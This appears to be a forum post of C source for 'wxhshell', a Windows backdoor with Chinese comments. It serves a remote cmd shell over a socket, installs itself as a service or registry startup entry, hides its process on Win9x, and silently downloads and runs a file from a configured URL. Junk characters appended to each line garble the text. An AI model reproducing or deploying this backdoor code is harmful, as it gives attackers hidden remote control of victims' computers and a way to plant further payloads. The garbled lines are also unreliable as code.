  0 I;>du  
  // 帮助 C:EF(/>+-  
  case '?': { q_cqjly<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -aKk#fd  
    break; "pMXTRb  
  } 4zJ9bF4  
  // 安装 ~g1@-)zYxK  
  case 'i': { +n2x@ 0op  
    if(Install()) 9L!Vj J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pA+Qb.z5z  
    else /*r MveT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oo rH  
    break; i,;Q  
    } Srol0D I  
  // 卸载 [r^f5;Z  
  case 'r': { Q6Jb]>g\H  
    if(Uninstall()) _IT,>#ba  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rg0\Ng4|G  
    else RR`?o\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8 hWQ  
    break; UT[KwM{y  
    } {oz04KGsH  
  // 显示 wxhshell 所在路径 %[NefA(  
  case 'p': { mUnn k`v  
    char svExeFile[MAX_PATH]; aASnk2DFd  
    strcpy(svExeFile,"\n\r"); f)"O( c  
      strcat(svExeFile,ExeFile); 8&dmH&  
        send(wsh,svExeFile,strlen(svExeFile),0); #H7(dT  
    break; QbOm JQ  
    } ;=B&t@  
  // 重启 NbkWy  
  case 'b': { 7J$ ^R6rh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G V0q?  
    if(Boot(REBOOT)) OP:;?Fs9`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b3Y9  
    else { k`\DC\0RG  
    closesocket(wsh); KwpNS(]I  
    ExitThread(0); &y Vii^  
    } d&R/fIm  
    break; /\#qz.c2K  
    } %v}:#_va]  
  // 关机 Y*J`Wf(w  
  case 'd': { (`>4~?|+T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U R@'J@V#:  
    if(Boot(SHUTDOWN)) yVh]hL#4+w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }\l5|Ft[!  
    else { 3R4-MK  
    closesocket(wsh); PX]A1Kt?  
    ExitThread(0); K 7YpGGd5  
    } LuQ=i`eXx  
    break; q;B-np?U  
    } aEX+M57k~  
  // 获取shell !7 *X{D v  
  case 's': { $:mCyP<y  
    CmdShell(wsh); W0gaOew(^  
    closesocket(wsh); 3(FJ<,"D}  
    ExitThread(0); 7CwG(c/5  
    break; M^g"U`  
  } b.ow0WYe  
  // 退出  D&N5)  
  case 'x': { ^>k[T.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cww$ A %}  
    CloseIt(wsh); {f3T !e{  
    break; jF-z?  
    } 2/>AmVM  
  // 离开 SjG=H%  
  case 'q': { WERK JA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X}Fc0Oo  
    closesocket(wsh); YSv\T '3  
    WSACleanup(); HjV83S;  
    exit(1); = #ocp  
    break; Hh54&YKZ  
        } PtmdUHvD  
  } FV:{lC{h~  
  } N}\$i&Vi  
~?[@KK  
  // 提示信息 bO^%#<7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QGLfZvTT  
} Y@#~8\_  
  } }$m_):t@@  
c67O/ B(  
  return; Rn-L:o@?  
} Zf(ucAhL  
6>bKlYl&9  
// shell模块句柄 }54\NSj0  
int CmdShell(SOCKET sock) !BK^5,4?--  
{ inR8m 4c]P  
STARTUPINFO si; zPhNV8k-  
ZeroMemory(&si,sizeof(si)); LH<--#K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q(a6@6f"kD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KX`MX5?x  
PROCESS_INFORMATION ProcessInfo; 7xWX:2l*?  
char cmdline[]="cmd"; ]iPTB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HHg=:>L z  
  return 0; c;wt9J.f  
} S{ fNeK  
64>Zr  
// 自身启动模式 ?WUu@Z  
int StartFromService(void) iCz,|;w%  
{ Z$6W)~;,  
typedef struct ?t?!)#X  
{ {e>}.R  
  DWORD ExitStatus; {^$rmwN  
  DWORD PebBaseAddress; X*d,z~k%*d  
  DWORD AffinityMask; (QqKttL:  
  DWORD BasePriority; u~a<Psp&|  
  ULONG UniqueProcessId; `?`\!uP"  
  ULONG InheritedFromUniqueProcessId; w[]7{ D];  
}   PROCESS_BASIC_INFORMATION; mlIc`GSI  
^\Jg {9a  
PROCNTQSIP NtQueryInformationProcess; mezP"N=L~  
D Q~+\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; coU`2n/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L3i\06M  
x!LUhX '  
  HANDLE             hProcess; ?XW+&!ar  
  PROCESS_BASIC_INFORMATION pbi; a-8~f8na{(  
E~{-RZNK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |p3]9H  
  if(NULL == hInst ) return 0; uw;s](~E  
"f5u2=7 }  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3$WK%"%T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,!u^E|24  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZLo3 0*  
N b(se*Y#  
  if (!NtQueryInformationProcess) return 0; cUS2* 7h  
w;{k\=W3Ff  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2lXsD;[  
  if(!hProcess) return 0; AF **@iG  
A5 8i}G9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sHh2>f@x$  
5M*q{kX)  
  CloseHandle(hProcess); dk;Ed  
.r]n<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e#&[4tQF  
if(hProcess==NULL) return 0; 5C{X$7u  
~5]AXi'e~  
HMODULE hMod; VJuPC  
char procName[255]; b\H(Lq17  
unsigned long cbNeeded; V}@c5)(j  
H$\?D+xlf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QIo|t!7F  
r_ r+&4n  
  CloseHandle(hProcess); +Y 3_)  
c S{l2}E  
if(strstr(procName,"services")) return 1; // 以服务启动 z,/dYvT<  
mX,#|qLf  
  return 0; // 注册表启动 &t p5y}=n  
} hFQC%N. '  
x-Xb4?{  
// 主模块 "B)DX*-\?  
int StartWxhshell(LPSTR lpCmdLine) Ia>qVM0  
{ 7+=j]+O  
  SOCKET wsl; C8NbxP  
BOOL val=TRUE; c WK@O>  
  int port=0; 5)&e2V',y  
  struct sockaddr_in door; EKwS~G.b!  
MY1 tYO  
  if(wscfg.ws_autoins) Install(); zse! t  
0ZPPt(7  
port=atoi(lpCmdLine); I+u=H2][2  
B}r@xz  
if(port<=0) port=wscfg.ws_port; oJXZ}>>iT  
d7KeJ$xy}p  
  WSADATA data; ?9=yo5M}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |Zkcs]8M!  
GlD@Ud>o)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a$9UUH-|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); azOp53zR  
  door.sin_family = AF_INET; wiwJD}3h'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U0)(k}Q)  
  door.sin_port = htons(port); TzX>d<x  
[vV-0Lx"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z\dILt:#z  
closesocket(wsl); zxwpS  
return 1; XV+BSW7}  
} ~ RTjcE  
qn4Dm ^  
  if(listen(wsl,2) == INVALID_SOCKET) { 14zo0ANM  
closesocket(wsl); _KD(V2W  
return 1; qD`')=  
} eb( =V *  
  Wxhshell(wsl); !pDS*{)E  
  WSACleanup(); N#ex2c  
>@EQarD  
return 0; +Pa!pj/< z  
)Dqv&^  
} &;%+Hduc  
k$I[F<f  
// 以NT服务方式启动 7a@V2cr@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uy`U1>  
{ %e1<N8E4  
DWORD   status = 0; S!.xmc\  
  DWORD   specificError = 0xfffffff; QP\vN|r  
zb;2xTH+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6] <?+#uQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >6<g5ps.n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U*6-Y%7  
  serviceStatus.dwWin32ExitCode     = 0; Q jQJ "  
  serviceStatus.dwServiceSpecificExitCode = 0; &4{%3w_/  
  serviceStatus.dwCheckPoint       = 0; zIdQ^vm8Q  
  serviceStatus.dwWaitHint       = 0; Ylo@  
qBCZ)JEN#U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?V7[,I1?  
  if (hServiceStatusHandle==0) return; R[_7ab]A  
Gjv'$O2_  
status = GetLastError(); nLQ X? :  
  if (status!=NO_ERROR) i]1[eGF  
{ A:p0p^*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 071w o7  
    serviceStatus.dwCheckPoint       = 0; $@K+yOq+u  
    serviceStatus.dwWaitHint       = 0; 7Y!^88,f.  
    serviceStatus.dwWin32ExitCode     = status; [n< U>up  
    serviceStatus.dwServiceSpecificExitCode = specificError; Wt4!XV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2b3*zB*@V  
    return; 69IBG,N'  
  } }4bwLO  
tcRK\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4!monaB"e  
  serviceStatus.dwCheckPoint       = 0; ?=PQQx2_*u  
  serviceStatus.dwWaitHint       = 0; O %)+ w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @&2T0UB  
} Ay2|@1e  
@V<tg"(c  
// 处理NT服务事件,比如:启动、停止 pf2$%lE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h,\_F#hi  
{ ?j $z[_K  
switch(fdwControl) .Q?AzU,2D  
{ PHz/^p3F  
case SERVICE_CONTROL_STOP: N>gv!z[E  
  serviceStatus.dwWin32ExitCode = 0; 0?sIod  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g/Qr] :;  
  serviceStatus.dwCheckPoint   = 0; [F6=JZ  
  serviceStatus.dwWaitHint     = 0; /,B"H@ J  
  { np)-Yzr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v3hNvcMpf  
  } Tl25t^Y  
  return;  [bv.`  
case SERVICE_CONTROL_PAUSE: n#x{~oQc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2o/AH \=2  
  break; ,a?em'=  
case SERVICE_CONTROL_CONTINUE: WM>9sJf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w0 "h,{  
  break; U2SxRFs >  
case SERVICE_CONTROL_INTERROGATE: (6.0gB$aTu  
  break; Nf$Y-v?i  
}; M g;;o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~){*XJw6  
} /n:s9eq  
/#Ew{RvW'  
// 标准应用程序主函数 ~_h4|vG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )iEK7d^-  
{ gA.G:1v  
{Y IVHl  
// 获取操作系统版本 (}Gl'.>\M  
OsIsNt=GetOsVer(); 3`="4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (:@qn+ a  
Z0E+EMo  
  // 从命令行安装 SX*os$  
  if(strpbrk(lpCmdLine,"iI")) Install(); {;z3$/JB  
-h.' ]^I  
  // 下载执行文件 *D`,z3/*  
if(wscfg.ws_downexe) { `~*qjA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3>?ip;  
  WinExec(wscfg.ws_filenam,SW_HIDE); bZ%[ON5OY  
} xb1)ZJH  
#H5*]"w6I  
if(!OsIsNt) { o F @{&  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~~k IA"U  
HideProc(); BHU(Hd  
StartWxhshell(lpCmdLine); T@k&YJ  
} fzSZ>I0R  
else 4W^0K|fq  
  if(StartFromService()) f~"3#MaV  
  // 以服务方式启动 } #%sI"9  
  StartServiceCtrlDispatcher(DispatchTable); -4X,x  
else zwAuF%U  
  // 普通方式启动 qf7.Sh  
  StartWxhshell(lpCmdLine); 0MPsF{Xw[  
12cfqIo9  
return 0; <!=TxV>}A  
}
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只看该作者 1 发表于: 2006-10-10
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